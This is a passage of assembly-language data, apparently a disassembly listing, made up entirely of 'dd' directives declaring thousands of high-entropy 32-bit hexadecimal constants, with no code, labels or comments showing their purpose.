dd 0F4E0B12Eh, 0F1C597A0h, 21DA74A1h, 8A5D6EE3h, 595E09A4h
dd 12FD59E3h, 873F4DA1h, 0E451008Ah, 1E873914h, 2EC93319h
dd 50895E90h, 4A23AAFh, 7769A6C4h, 13DB2B01h, 0AB5750F0h
dd 12B068DDh, 70A29CF1h, 51C8FFh, 0B9A63C7Bh, 0C31528D7h
dd 8CAF227Ah, 1077B995h, 0D488C45Ch, 10638DA3h, 7AC95B8Bh
dd 227F58E6h, 397B3903h, 0A8A2B2C9h, 0B6DA017Bh, 3A3AB1F3h
dd 0F07B84Ah, 0F624625Bh, 0A88CC922h, 83E65867h, 793FE18Eh
dd 47B6E0BAh, 87DBFF19h, 980BA596h, 69D4C1C7h, 0B6254507h
dd 71B6144h, 0FEE1F584h, 5B935A8Eh, 569BCA37h, 8A148425h
dd 0D070AEA1h, 2744202Eh, 6F39C0E3h, 0D3460E36h, 0EE8C875Fh
dd 52FC197h, 0D00D8610h, 77146A6Eh, 7C6C4EDh, 129D51E2h
dd 0F530A240h, 29AB6EFh, 0DDB7E911h, 7DDE60D6h, 0FB871385h
dd 8823F90Dh, 42522AA6h, 0CEC6983Eh, 83E5E358h, 252822Eh
dd 818E2847h, 0D8205ECCh, 3022671Ch, 920EE85Fh, 0BC82D069h
dd 5970B3EAh, 0D2D5C40Dh, 0E59B18C2h, 3A044F14h, 4480DF66h
dd 0AAB4CDBFh, 64EB874Dh, 0F101B279h, 0EE8ADD3Fh, 563BD61Fh
dd 2F3B2835h, 0CB895BF7h, 98F3E3Fh, 6479DA4Fh, 0ACAFA09Fh
dd 63FDDA08h, 7862E263h, 5B60A6F0h, 666523ADh, 0CA3C4CBDh
dd 4C862582h, 0D424159Ch, 0B9A02A0h, 0A38FA5EEh, 3153773Fh
dd 80DD79C4h, 0F4FF820Ch, 0CC81E13h, 7597DD69h, 43C0F10Bh
dd 0C4214E4Fh, 2C89BB7Eh, 758A15CBh, 24C90348h, 84E8C65Fh
dd 0AEE95581h, 4D405ACAh, 42642FB9h, 0D42186DAh, 5B94EA1Eh
dd 3ABB0C9Dh, 6FEDCBD7h, 0F3B01B25h, 0D432182Ah, 6E2C4597h
dd 885F9Ah, 88BB75F5h, 9A025736h, 0A58134E4h, 7B0B3D44h
dd 7A8AE36Ah, 326F0C4Fh, 4C813AC1h, 5E96A7C5h, 8FF5E87Bh
dd 7F442EE7h, 8E1C5E5h, 7CDB6535h, 3745F1D1h, 1F8EEE37h
dd 0C5C15BC4h, 0A98EC81Ch, 96790BACh, 0A11BFCCFh, 0B978ACCBh
dd 4F5768DFh, 0E7538D06h, 47A1B0DFh, 25005AEBh, 821957B4h
dd 95D0FA72h, 6868624Bh, 0C3328DA8h, 57193D27h, 0FEE39B75h
dd 8B8999AAh, 0AB838E97h, 0E7655D5Fh, 0E0C31355h, 7037BA8h
dd 5A614615h, 63F1E543h, 0D6195C71h, 2DAEDC49h, 4C80A6ECh
dd 80DF27C5h, 0CEE71084h, 56049F3h, 1A51C46Eh, 33337DB0h
dd 6AEAE1FAh, 8E0FC865h, 0DB3CAEA1h, 6B1A341Ch, 51E3D4C6h
dd 0B956A2E3h, 0A97CACCBh, 0BB04808Fh, 51F462E6h, 1A1CAC7Fh
dd 5A3FBAE8h, 0FD2233B1h, 7C6179BFh, 1BBA6B46h, 0E4FDD06Fh
dd 997F11F9h, 0A64D72B3h, 2DDB9F7Ah, 8DD33DE4h, 285DB4A6h
dd 88D303A1h, 0CC86FE43h, 0FF09470Ch, 10732D1Fh, 0ED7B631Bh
dd 2E868986h, 15833835h, 0A024C31Ch, 1B91EE64h, 0FA430C9Bh
dd 1A36C02Eh, 811345B0h, 0EBBB112Eh, 0F17054E9h, 75D19ACAh
dd 2033BEB8h, 6BEE428Ch, 34B2A52Eh, 7A86A4CBh, 8DF2008Fh
dd 974BA8F9h, 4499A00Bh, 0CD905A3Bh, 6CE4E628h, 87147BEDh
dd 0C43E0380h, 0DA3827F4h, 48F9B8CFh, 83B2F570h, 3DDAF2AAh
dd 0A85EB969h, 0BFF2A959h, 5CB873D3h, 676BAF1Ch, 327164A1h
dd 1D60CDD1h, 0ED67FA86h, 36A9DAE6h, 9707F860h, 256549B0h
dd 0B49DF284h, 0FBD22DF3h, 0CE695BDEh, 391641C4h, 0FC84E12Eh
dd 8949898Ch, 0D0B79E77h, 57E137ADh, 44221F3Bh, 0CADA8990h
dd 43044CCDh, 0EBA806DFh, 30EB188Bh, 47814FF5h, 0AA4041A5h
dd 0F9E96B0Fh, 7FEB9999h, 0EFEF82A8h, 6AD3C83Bh, 27293EEBh
dd 33B27237h, 822157C2h, 0FD173D96h, 2C841C06h, 186C4D1h
dd 37030FFBh, 0E2897471h, 0F760EDC0h, 0C6F28A7Fh, 5792C939h
dd 4C08B6A1h, 0F05AB6A5h, 0B49B426Ch, 0EBA32C0Ch, 0CE72E956h
dd 48A3ADA0h, 8EE2CED1h, 0F66F68E2h, 21AA8EB6h, 11303700h
dd 9665C354h, 49EA7FEh, 0FD8FA44Bh, 0DF12FF70h, 0C300F517h
dd 0C0D9A005h, 0F3FFA52Eh, 9FE4B7D9h, 0E9448662h, 2D8409F8h
dd 166FC343h, 3738560Fh, 0EC5AF275h, 0DE256451h, 0F93BAFADh
dd 0A8F2BAA5h, 772CFE68h, 0E8FD37E8h, 78D0DF2h, 78E9D820h
dd 12BBA2F6h, 3941B1D9h, 0C94A3B69h, 5F58A9C5h, 1B6FE384h
dd 766FB0F5h, 31569CBBh, 0F8331D4Fh, 5AFB2134h, 0EB26203Eh
dd 0AD4F0E49h, 88DF57E3h, 0E003FF1Fh, 45C1A596h, 161044A3h
dd 3B1C8D9Fh, 3462E7h, 0AF0BFEEDh, 279903ECh, 808432D7h
dd 0B7EB296Eh, 2F85ECB8h, 12594BB3h, 3F3B566Fh, 9C5AF5B5h
dd 3E2564D1h, 815AACAAh, 49588006h, 0DE805F6Bh, 54D8B655h
dd 0DE6E4F8Ch, 9D60AC7Dh, 12778B36h, 486CB3E9h, 0FC9AC429h
dd 29B948B9h, 8BDBE1C1h, 0EE88AF87h, 0DE4664AEh, 8CF8028Dh
dd 0FF34242Eh, 1D70D412h, 3FC2A2E9h, 75DD5260h, 2B0BCC7Eh
dd 0FC8AA545h, 0D9108E35h, 5AB3E9D6h, 66EA9D07h, 0D09916ECh
dd 0A540DF0Ch, 7EE52AD5h, 6A239195h, 0C101151Fh, 0FB05DC4h
dd 9ED13E5Fh, 2B4D8A1Dh, 8DDA4D25h, 0D13BA891h, 0BF30515Bh
dd 872CF470h, 17030E80h, 0A9D94C05h, 5DE5B20Ch, 0BA4C6B5Ah
dd 0A794A66Eh, 249E4F29h, 0B0AB9B71h, 0B490BB6Ch, 91A7EC0Ch
dd 26A96BC6h, 73E74E50h, 180E81ABh, 0BDC990Fh, 0EC4F7659h
dd 9B78481Ch, 0D9FE2BBh, 9A9B5D15h, 701D7DC9h, 847DC561h
dd 2F531EF4h, 5960A269h, 434DB144h, 819BC7D6h, 0F9EB86EAh
dd 4572DB5Bh, 0F54F2C13h
dd 0AAFEB140h, 1BBF0CCAh, 0EDDA5F5Dh, 1211DF86h, 0DAE6C6A5h
dd 0F6AD480Bh, 0C45B7F0Bh, 618AA401h, 0C4919239h, 0ED23EAD5h
dd 1360AC46h, 0BAFC7C5Fh, 0BFE50531h, 0A0861F57h, 43875D1h
dd 30077867h, 4EBD5A4Fh, 0B53235Ah, 86731794h, 0F5E7AA89h
dd 0EEDDC3B5h, 0C9E2D0C6h, 0F7ED196h, 0C6E74D21h, 60D91575h
dd 15D38D08h, 0C0A1B0CCh, 54FF9BEFh, 1137D955h, 9D14AC8Fh
dd 0FA450BB8h, 1E508214h, 1738CCF7h, 0CBA78675h, 36CA8D57h
dd 0AE3BFB65h, 55F29D5Ah, 98AC4F21h, 920CB48Dh, 0A59D3ADBh
dd 9D927380h, 675FAB7Ah, 8277A5A5h, 24683A95h, 0B08F9914h
dd 0B74BBD6Ch, 7737E00Ch, 96768C25h, 62D1F6EEh, 8FA8A273h
dd 2FCF87Ah, 177B7659h, 704AB7E3h, 796F174Fh, 80A6E07Fh
dd 0DA27CF2Ah, 0B10DC00Fh, 64E39C62h, 5781B0EFh, 0AB3CF615h
dd 6231DA1Ah, 4D4F7E61h, 0B9ECBC1Bh, 0EAABDB49h, 0E0C6F9A5h
dd 7BB212ECh, 2DDA7D1Fh, 917F8590h, 0C0678B55h, 83C4BFE0h
dd 0FF136745h, 5A62CE82h, 1462EA88h, 15710ADDh, 0FAEBDA79h
dd 986EC579h, 25814AB9h, 20A56D44h, 0EBD76952h, 36C795D6h
dd 0BB87CC4Fh, 153B611Eh, 0FD49988Fh, 264007B6h, 1D23C7D3h
dd 7EB79E4Fh, 8BC2B068h, 26EE5CD5h, 4E84C61h, 308E6258h
dd 42E1B0E2h, 5BB43207h, 6D1B2208h, 9F148289h, 19F02AC5h
dd 7E6951E3h, 0C7E1D0CFh, 32EB870Ah, 3D31C85Dh, 2D01FE07h
dd 80C57145h, 77F54474h, 17F34F39h, 9EB90C05h, 1E3631ECh
dd 125112CBh, 0D4505A09h, 1724CD60h, 451A1F06h, 79D449D4h
dd 29FBD505h, 31FE943Eh, 0D667620Fh, 0FA9DCBC6h, 88CC0D98h
dd 0E4137641h, 0CBA6481Ah, 2F851237h, 0A76CA58Eh, 9248E11h
dd 0AECC663h, 0D0951AC7h, 9D58B09Eh, 0B840A936h, 879B37EEh
dd 3D7FB86h, 0B74D20Dh, 75604EABh, 0F39ACBBh, 0E187D035h
dd 0D1321E2Bh, 0B42F69D0h, 0EAFCD292h, 0CD25A6FEh, 0FF5D27F1h
dd 0A46D3333h, 14432A98h, 22BA673Dh, 22E157B7h, 997855A9h
dd 267D5545h, 1579E43Bh, 0CBCFBF99h, 63680CEh, 0EF4469A5h
dd 0B17B343Eh, 0F08D0217h, 579C2102h, 0F6E2750Fh, 2AA994B8h
dd 9CEB660Eh, 0FB57114Bh, 11252A35h, 10A99EE1h, 977C5F09h
dd 4359A7FAh, 0AA035E4Dh, 0C9FC667Dh, 547B058Fh, 4ED3FBC1h
dd 829F9EFh, 234D1461h, 29050AB5h, 91EC145Eh, 4011955Ch
dd 0F04C87D1h, 92CCBF35h, 0B38A712Dh, 625068AEh, 2F55654Bh
dd 0C9084432h, 0B564216Ah, 0A46BD5D0h, 0BFAC1D94h, 8BD51E0Ch
dd 0E9C60456h, 23CDF2A0h, 0E4A1D2h, 79173CA6h, 56C16AB0h
dd 0F8EF1F11h, 0EC6B4EC4h, 5F4B4DD7h, 3E06B205h, 0D5C900D6h
dd 0ACB46095h, 0AA08E971h, 259B0904h, 26A775EEh, 1697AFF8h
dd 0B209A108h, 0B2B82CBAh, 3A8FD603h, 90B2B3BBh, 0A9808440h
dd 0EED51D16h, 858C916Ch, 0E2A326B6h, 0F77ED5DAh, 53C6EBB9h
dd 6249B343h, 2126E621h, 7C0C5DA2h, 0ACEE74EAh, 0F5B990C6h
dd 821EA809h, 8CF4E6F0h, 90CA7D88h, 2C3E36B2h, 49F29229h
dd 39016B64h, 84CBD755h, 8E4B3338h, 973D037Ah, 0DA40CFB4h
dd 595FAD50h, 8729087Fh, 10A461CCh, 0A32ABADCh, 0F9430BE7h
dd 0F8B7CF89h, 945E28h, 0C1817C29h, 2D786491h, 123DB1DDh
dd 774D5h, 6D84102Ch, 9AD88570h, 0BF5589EAh, 3EB3BFD2h
dd 62DC0017h, 0A4F2CCE9h, 596CB14Ch, 22B5CEBEh, 7047112Eh
dd 47725516h, 67CBBF73h, 2A1AFAF1h, 18701A0Ch, 558D24FAh
dd 0EA912872h, 57FF9279h, 720B626Dh, 55996101h, 0FCE97515h
dd 1E9C94CCh, 2B2B652Ah, 0BFE08D54h, 7C367DEAh, 131A7CBCh
dd 46D8EDD8h, 24159657h, 24377CFBh, 0E849C95Eh, 0C2957793h
dd 0AAB84C85h, 2AB498EAh, 864FEBC8h, 394DE02Eh, 2957658Fh
dd 0BFBB0AA2h, 6378A6A4h, 50D421F7h, 0D32C616Bh, 99096DAFh
dd 6AEFE585h, 5C18ED46h, 0ACA111ADh, 65E0FF4Ch, 6D3F8284h
dd 0CDD8A733h, 650AB965h, 8AB13072h, 0CE841DA8h, 29D8E864h
dd 0D8C5514h, 0FACAB276h, 6ED2E8C8h, 0C3D32EAFh, 0CDF8B28Eh
dd 6C24895Bh, 75C46075h, 4DB5E590h, 56F6C180h, 85B4D1E3h
dd 1AEBFBB4h, 9E09949h, 563E316Ah, 0DEC5861Bh, 1C4B1BF2h
dd 0EF2FD959h, 24D59B7Bh, 0BF82652Bh, 0D039C5Eh, 0E92B5B2Eh
dd 0B376BBADh, 0FAD0F138h, 3C22745Fh, 274E0BB1h, 4AA4A369h
dd 6770FA03h, 96EA0F7Bh, 54643676h, 299C2CC1h, 0B4B7E83Ch
dd 0DDA41ED6h, 1C8028Ch, 80D9DBDh, 0B1217774h, 0A4612FDh
dd 3E56AC37h, 2216B255h, 0D6A90357h, 0A3BE604Eh, 546E4A60h
dd 0ACC6B33Dh, 0A1CCC80Ah, 2297A5FEh, 2F009B04h, 0CA4455E1h
dd 4F3B5FC8h, 6FC82F48h, 80441926h, 922563A9h, 3F68FEA9h
dd 774B7717h, 0C76CD025h, 0C31B44F9h, 0CBF0D177h, 29678CC7h
dd 0E0B8D579h, 0BA98D6ACh, 1D617EBAh, 0AB150121h, 261DEB0Ch
dd 0A779D3D1h, 0A70C518Dh, 0CE3A1414h, 7E8BAD09h, 0F021EBBEh
dd 8320C80Ch, 0F1BCF8AAh, 0A83AF4A8h, 8E6F4D84h, 235EBFDCh
dd 13175B8Dh, 0D40A5BA7h, 288F56F0h, 6CE422CAh, 62995F6Fh
dd 67AD1DFh, 8A530D5Ah, 0C4C5C5E3h, 43357633h, 18E604A9h
dd 2FB19971h, 0BB8B0C24h, 0DFDC645Ch, 0E9064A34h, 5727E70Ah
dd 1C630E56h, 2CA32168h, 0A3D05173h, 0BB9DD819h, 708B2995h
dd 0AB1D0D46h, 78EAE137h, 4C7AAA31h, 60CF5DB1h, 0F48AFCD1h
dd 0F6CB0D32h, 0ACE43C4h, 0CBAA3CF5h, 0ABBBE8D8h, 0FA35BB0h
dd 742BC8AAh, 0FC0003EBh, 0DD1498CEh, 0ABD3F11Eh, 5640390Eh
dd 0E9E92417h, 1FEBA9FFh, 146D7554h, 1944B5FFh, 8FBF16F4h
dd 0B76B3ED8h, 0F84B0AE6h, 12276509h, 31060F8h, 1D16653h
dd 0E937445Bh, 2FD3F90Eh, 6DB3C3D4h, 27173B81h, 0A3D2D5BCh
dd 436DA1ABh, 9208792Fh, 46B7F7EEh, 4D5207F7h, 0BC2DDFC1h
dd 0ECE0ACA5h, 76153128h, 86B49385h, 52CFD15Ah, 0FC3037F3h
dd 0FBBEC0A2h, 234A4B8h, 0F5A0C838h, 0BBC1FC34h, 0D39B666h
dd 0E7F538E5h, 0F47F908Bh, 6FE01FFFh, 6C153C19h, 27EE37Dh
dd 7EEC2AC5h, 0C8C53813h, 26C33EB4h, 424F85E6h, 2DD99E75h
dd 0BF8A5005h, 35048652h, 0E90B7317h, 9CD5018Dh, 6D573E66h
dd 2F23E1B1h, 0A85FBFD9h, 0BD96F3ECh, 7C32293Ah, 0DF193E0Eh
dd 0CD6B3570h, 832813FFh, 0A2B84DB4h, 5D30AC25h, 0A974B789h
dd 0C80FF7F9h, 0FDB34856h, 98291D7h, 75B7571h, 0D0CECE85h
dd 1966FAD0h, 110F1140h, 2A7BA395h, 0A91FFA80h, 383407EAh
dd 1DD674F3h, 0F3414E03h, 1CB7AAB7h, 3F34D9BAh, 0D6463B7Dh
dd 4236F1B1h, 0E8C6C8A6h, 43A8796Ah, 47C5896Ah, 15EC02CDh
dd 0D9F58C89h, 6F73653Eh, 0A6E2EE5Eh, 0D226407Ch, 993BF3D6h
dd 99BB926h, 61E83907h, 0AFF5FC32h, 18BE1833h, 0D7526009h
dd 54A050D8h, 0FC462C1Bh, 0F7B5A45Dh, 78D960FBh, 0FBBCEB1Eh
dd 0DBDFA833h, 1ED9C19Ah, 4B68050Bh, 0B2DB940Ch, 948A77A8h
dd 578F7DF2h, 6EE4FA9Ah, 669AEF77h, 3E7A3E27h, 9A504D7Ah
dd 0A4CB45A1h, 834E76B3h, 9EE805A8h, 91AF9F76h, 0BFAA7E7Ch
dd 94D88CAFh, 196480C7h, 0A7F4013Bh, 1DBC710Ch, 0D4585CABh
dd 0C40B0566h, 8F93E20Eh, 6D6BBC46h, 0B54F144h, 0D77FF5F0h
dd 7361918Eh, 8C1F424Bh, 0F40EB922h, 7D86088Eh, 0F7346454h
dd 0F6925FFDh, 0F319EB2Ch, 0E0DF546Ah, 62ABCB1Ah, 0C3763860h
dd 56DF6A30h, 87246210h, 532A7D66h, 433F879h, 17620A1Ah
dd 706220Bh, 8814E336h
dd 2F5E9A70h, 7BA0BA3Dh, 15CD61B0h, 13D367A9h, 295F4029h
dd 8758833Eh, 93E186ACh, 0A3AC6777h, 0E024E9ABh, 0A993BBFEh
dd 0EC59197Dh, 6D132CA6h, 5D697B45h, 3230901h, 0EA9BA70Dh
dd 0DE4E1037h, 933F203Dh, 4D738ED8h, 12549DB0h, 654BB5ABh
dd 883D60ADh, 83BAFB52h, 3CEF418h, 0AD98B10Eh, 6A98118Fh
dd 0F2BB958Dh, 1B4A7EA8h, 0F5747DF3h, 9F61491Dh, 0BDE819EAh
dd 3E756017h, 81D2C525h, 928B7517h, 9C350658h, 272A6377h
dd 68AE6389h, 42516ABEh, 0FEBC8FA9h, 9FEB6774h, 9CC668D8h
dd 9146B376h, 2B466464h, 0D6E2D90Eh, 9190D986h, 16D09395h
dd 345D077Bh, 0E98710E6h, 2DCD0C30h, 0B7065644h, 73D5E4AEh
dd 10D8378Fh, 0FCB195Bh, 0CEDA3228h, 0C941EB34h, 0E8DB521Ah
dd 939C1E3Ah, 0A286FF43h, 925A1F27h, 9C5C4984h, 974384ECh
dd 0ECD3FF1Dh, 11E801E5h, 373012BCh, 7D47D529h, 4DDA625h
dd 9035C229h, 0FD4E07A3h, 0ACDADA82h, 904F82A3h, 71D53AA5h
dd 46E36331h, 0A79B1966h, 0F564A0F4h, 0C2FC04CFh, 0AC232EF6h
dd 627E66AAh, 159EFFF2h, 0B8C067Bh, 1FB00B47h, 8F5A62CFh
dd 476C2BBBh, 18AA6EDDh, 87328A9Fh, 1A8FDC56h, 34326E4Ah
dd 0F5F81BCFh, 14DD5F61h, 0D6EAB184h, 259EFB0Eh, 0A29B4463h
dd 9B49EEC4h, 0DF44F9DCh, 9E6145FFh, 0BFE8012Eh, 3275509Fh
dd 0FED33A35h, 828B0BF7h, 0FC367A18h, 0E42B14F7h, 0E8B07288h
dd 4F8D24B1h, 872D5E2Fh, 0C73E78CCh, 448CB495h, 0C895B0ABh
dd 7DEED2DFh, 0ADEF8BF1h, 0ACDB7C16h, 0E0A6F6CAh, 2045FA84h
dd 73040B3h, 4E958D69h, 5695926Fh, 8F758126h, 0F4769689h
dd 0FD81442Dh, 56706C95h, 33046A17h, 6F28A46Fh, 8D5E30D7h
dd 7D6900F7h, 2AEE1864h, 0F42E5FDFh, 0EEE59265h, 0ACE70D50h
dd 1052779Bh, 458A2461h, 0FAB9C461h, 82CD734Fh, 0CC327D52h
dd 835A418h, 53030A0Bh, 4CE3F5Bh, 88EC8CB8h, 16050540h
dd 0A3938D91h, 0F280836Eh, 734B3B42h, 2537D6BCh, 84B5D056h
dd 1FD5C98Ch, 4D9372DDh, 7A2B8329h, 0CD101ECEh, 977C5E31h
dd 95D66A17h, 6A0816ACh, 0ED70DF53h, 493149A4h, 0F44D10CCh
dd 1BAB29C7h, 9EA8B12Dh, 85AD710Fh, 0D842B1Ah, 6D3D64A3h
dd 1085827Fh, 1E1BC3C0h, 119272B1h, 9D7A1B63h, 48792F2Dh
dd 33B6F87Fh, 5D09023Ah, 0D83CC104h, 0BFB7E58Dh, 28B21043h
dd 872DD669h, 0EAAD3D6Fh, 5F8F5B6Dh, 0F996905Ch, 3AB636ECh
dd 0ADF0DE31h, 62597096h, 82D6D14h, 36496387h, 47EF76ABh
dd 0AC1E438Bh, 95C57037h, 6349A852h, 5C29A08Bh, 3DA9E057h
dd 0E13CA6D3h, 5FE14A93h, 0F2CBF978h, 0A910AB5Fh, 0CA8F57DDh
dd 70C84E0Bh, 392A0DFh, 44C08A31h, 936C53BDh, 9F9EEF4Bh
dd 47C0696Ch, 0C6FC4A22h, 17356DC1h, 0D3C68756h, 0BDA0F008h
dd 0B75BEB92h, 0A85DEE6Fh, 72DD547h, 0EB91396Dh, 9CE35369h
dd 0D4E42EDEh, 6F3BD73Eh, 17CAC009h, 6C5AF9F5h, 0E0ECAB2Dh
dd 3DC12A94h, 4CF360Dh, 357CA830h, 0D0A27DC1h, 0E6DE72D6h
dd 92393877h, 4865A05Ch, 882D3759h, 0D8BBC476h, 44BCFA7Ch
dd 18021729h, 77295417h, 6CA46AF0h, 9C342945h, 0A040FF5Fh
dd 9DD99498h, 0D4098BB2h, 887FA127h, 2E49CB6Fh, 682773F1h
dd 6033C2FEh, 8DCA01AEh, 0CA765C77h, 40BDE51Ch, 3E573B57h
dd 2AA6DF6Bh, 0DF765B95h, 9199078Eh, 19C3A7BEh, 2BA1514h
dd 93862301h, 0A086353Ah, 50AAD618h, 7B92DC05h, 0F5F1FA10h
dd 95A97517h, 0E6FE6036h, 0C3B1877h, 0A0F19F8Ch, 94858A73h
dd 1ACC14CCh, 0B0577FA5h, 0A5834B61h, 0D79914F1h, 691E6A3Ah
dd 4E41A0D3h, 0AABFC1BAh, 0E7683638h, 47318A8Fh, 0B375ECB1h
dd 0F3AC772h, 7F35F7FDh, 0CFFC79A9h, 15DAF112h, 13CC5295h
dd 78B304E7h, 0BB8E2EBFh, 0FD152466h, 5453ACE3h, 0F9793F4Bh
dd 3AB79731h, 524ECE51h, 0CD6AF1A9h, 0F03E9F4Dh, 0C958DB27h
dd 2F83CFE2h, 0B0004FCFh, 90FE6A58h, 716012Ah, 0E3F0E727h
dd 0CB712FA0h, 724BC8F4h, 33619024h, 0BFD2276Bh, 0CE47F9D9h
dd 0BDB1F4FDh, 8537A8B9h, 92B1B023h, 2508DB34h, 9147E2BAh
dd 2E07FFB0h, 0B9B01B84h, 4EA9C796h, 4735D78Ch, 0E3C10451h
dd 0D293A8C2h, 5C3BED0Fh, 101DFB3Eh, 78FDF4A9h, 935C7F67h
dd 0FD6323BDh, 8169D7CBh, 78C3AC0Bh, 52B6F9F8h, 9C766179h
dd 0B0E9AA48h, 995D9509h, 0C6792998h, 9F85A330h, 0FF7107B4h
dd 0C7DD8926h, 0E7CFD877h, 24B11FA8h, 9D4323B1h, 0B86691DCh
dd 3814CEB5h, 0BD3BE93h, 0BDB96EF5h, 750B45FDh, 3865D5DCh
dd 953DE22Dh, 0E9110DAAh, 3B8BEABEh, 0B6EFF488h, 2249EB72h
dd 0F320F8D1h, 0F9D98675h, 0CDF29923h, 79CCF879h, 0D04D1715h
dd 87FD832Ah, 0A298D08Ah, 363F9486h, 0F96945CBh, 3AB75871h
dd 52485F91h, 60F7AB29h, 40149115h, 0A1BED178h, 0F9172B3Ah
dd 929BDCFh, 951345B4h, 0D25F114Ch, 0E97A848h, 0DBF151C3h
dd 0CD33F327h, 32070133h, 7F7AB494h, 9AFF4ED6h, 0DD5DACE4h
dd 4523FD2Ah, 6B19B022h, 0C7F858Bh, 9C8EF2D3h, 0C758092Ah
dd 0B7B80C9Ah, 0DA3AC71Eh, 52CA57C5h, 93C97A39h, 1DC9196Ah
dd 84261739h, 0BF5DEAC5h, 87DDE276h, 0AC21D28Ch, 0D93F908Ah
dd 1C39A313h, 0A7E7C02Bh, 0AD16695Ch, 6CC357DCh, 5A7106D5h
dd 0D2C2D7Bh, 7CD2A4FEh, 9F49D0CFh, 215CB5B8h, 9E7EFED9h
dd 3EA203B1h, 50D49921h, 15D961E1h, 0B12D108Ah, 8976F29Ch
dd 79A9C8BEh, 0C87CECE1h, 4068953Ah, 122EF02Eh, 0A40869Fh
dd 1C0E5352h, 0C0E7C72Bh, 17901B9Ch, 0E5A9C7EEh, 4FC53BE4h
dd 0BBA6EF9h, 0FE930E9Dh, 0ECC3D5DCh, 0F4A5EAA8h, 0D82DDD42h
dd 0FA8C67C0h, 888EA02Ch, 79892068h, 0D548B254h, 0ADF262D1h
dd 6AD6C356h, 0F5FF7944h, 0D9AC2FF4h, 0F9812F98h, 0A5EF6D8h
dd 36301C4Bh, 757C132h, 1A377D88h, 3222CFA8h, 63FF8235h
dd 552FC95h, 61F65B6Bh, 0DE08B114h, 0DD900211h, 0B42B8252h
dd 0D4C14832h, 325985C0h, 601B448Bh, 0C17DFF2Eh, 0BDC8B3E6h
dd 1B802F06h, 0F3B607D9h, 0B636D6F5h, 4DCA0DE2h, 0AC59E9D3h
dd 40788350h, 8A0C345Dh, 0D2863E80h, 5A9AC401h, 911CD7E2h
dd 0ADF3624h, 0BA557180h, 6C32E662h, 430F2D46h, 0D9AD2CC8h
dd 0F9833198h, 0F5AA5958h, 9A64A5A4h, 0D3C42126h, 0F4D8187Bh
dd 0CA32E308h, 0AE7F48CEh, 0D1A2E480h, 71CCB16Bh, 4C705ED6h
dd 0E599F4E5h, 5BD8E13Ah, 47E1B417h, 3AD5852Fh, 9C74F244h
dd 0C2E7EB60h, 0AFEDE490h, 0FAA9C7DAh, 0C0CAB37Bh, 5E886E90h
dd 3609F2A3h, 0EF3BCD3Ah, 0F43AEA43h, 87A8FFB1h, 9D153052h
dd 0FF625F4Dh, 8177C8EBh, 0DEA2D90Eh, 38555105h, 4324129h
dd 0F0033426h, 0C9AE5F6Ch, 0F52BB0F2h, 0F4969C93h, 7E9B5EA4h
dd 0E8889488h, 2347E846h, 253E5FA4h, 9BFCEB81h, 2286EBDCh
dd 700AA469h, 7512AAF3h, 15A4FBE1h, 2BCB95C7h, 0A78C4C07h
dd 0AAA5852Eh, 61F4F24Ah, 0C3EA0B63h, 79A01B92h, 0F1A9C7F3h
dd 27C8FC0Ch, 43EC79C9h, 62DAF27Dh, 2CCDED1Bh, 4868172Bh
dd 783DDAB1h, 16FB3EA1h, 4C438015h, 6E66F70Dh, 2A49C20Bh
dd 4A60CE89h, 93226A17h, 0E0FCF4E0h, 0E9862194h, 6FD350Ch
dd 0F553B015h, 0BEA342A4h, 0E87741D8h, 0E1992452h, 0EA9660B8h
dd 6591B75Ah, 0C35E20E9h, 0BDC15B84h, 0C5FB4E28h, 2945C83Dh
dd 86759F6h, 0D49D6CEEh, 3F04F168h, 3A0005BBh, 9AD17657h
dd 83963A6Ch, 0C9309E02h
dd 2141DBB4h, 82405CA0h, 749D32D2h, 0B3991D29h, 18C43833h
dd 0AEE8216h, 430513FAh, 0B0E59688h, 0C620ACE3h, 0D5438BBDh
dd 0D14D4C32h, 6FCA566Ah, 60026B45h, 6948CFF1h, 3EE337E7h
dd 0F5A98630h, 95CC4CB4h, 141C7126h, 6C52FFEh, 0A68C2057h
dd 13FE7429h, 982CE889h, 0F06B582Fh, 0DE1B9D2h, 0E1F104F1h
dd 0F4BB18BFh, 6DB72B22h, 7AFCFC4Ah, 89E4022Eh, 0FE60F961h
dd 85757427h, 71BFFE16h, 0E7B9A12Bh, 65F09639h, 5E1A65CCh
dd 0E9BAEF5Eh, 0E15E0CCAh, 972D28DDh, 810A30B1h, 5D86F4CDh
dd 18742880h, 6F3C064Bh, 0F37419A9h, 7C3D1AC9h, 0F572EDFCh
dd 0C9514425h, 0F6E700E2h, 15265CA7h, 92762EB5h, 0FC7724AFh
dd 11006964h, 0DF0A0FA8h, 1A5220ABh, 52D152Ch, 75A52D92h
dd 88130B5Dh, 10F2F0B4h, 0DA02523Ah, 205058B5h, 0B232F340h
dd 1D1E7B4Ch, 8B9C0CE0h, 878513A4h, 0D39C7FAh, 1F341D04h
dd 0EF8C0209h, 0EACBFCA8h, 9CABC7F4h, 0D0750FB5h, 0C2A6883Dh
dd 8610E376h, 6576CBE9h, 1A60671Bh, 3F3B1A5Bh, 424322F5h
dd 0FB363A10h, 0E1EDE995h, 22669C0Dh, 582B0E5h, 5F59DBBh
dd 860785B4h, 97670629h, 2307A997h, 2DB6D6AAh, 7AF3722Fh
dd 0CAEA9FF1h, 9742B11Eh, 0D5E65ED1h, 0DBEA1D85h, 888E1EC4h
dd 19E1A0CFh, 8B177551h, 1BE5120Eh, 8A9EFBAAh, 2920FAAh
dd 6B323BBBh, 1735F02Dh, 94C69920h, 1C2A6FD3h, 0A53512BCh
dd 5C7EE70h, 7F683FBBh, 9DF92F07h, 19EF3355h, 6D3323FFh
dd 6F3BA19Bh, 0D74775E1h, 7C399DB5h, 0E00CEAC5h, 0F06F9F0Fh
dd 0F93591F7h, 1E28F120h, 3A2362B2h, 0B5B781D6h, 0F3E478DBh
dd 8139A32Bh, 9093B754h, 0CF2F11B9h, 920AD892h, 259EC5E6h
dd 0F914479h, 51E07D7Dh, 0EC942BD7h, 93BC38C8h, 5DEF1ED8h
dd 30557683h, 7DA1D7h, 8AE542F6h, 4A0E1091h, 0B8C4FC95h
dd 28411426h, 69275A17h, 0D04CEEE8h, 7FA48EDDh, 9F078C4Fh
dd 0D5A4EACBh, 0AC4D0461h, 3AB07666h, 6F78A04Eh, 7C385D39h
dd 6CAD7732h, 0F084DB74h, 294C3035h, 7C7860B3h, 85C575F1h
dd 14272587h, 0EC035167h, 3CFF0F3Fh, 92C4B4A5h, 0A35D5145h
dd 4B0554D0h, 2D7773EAh, 9B2614F2h, 348B0999h, 6FF6992Fh
dd 3883AAD6h, 9F24718Dh, 22E7BAE5h, 7D21454Dh, 0B180D7F6h
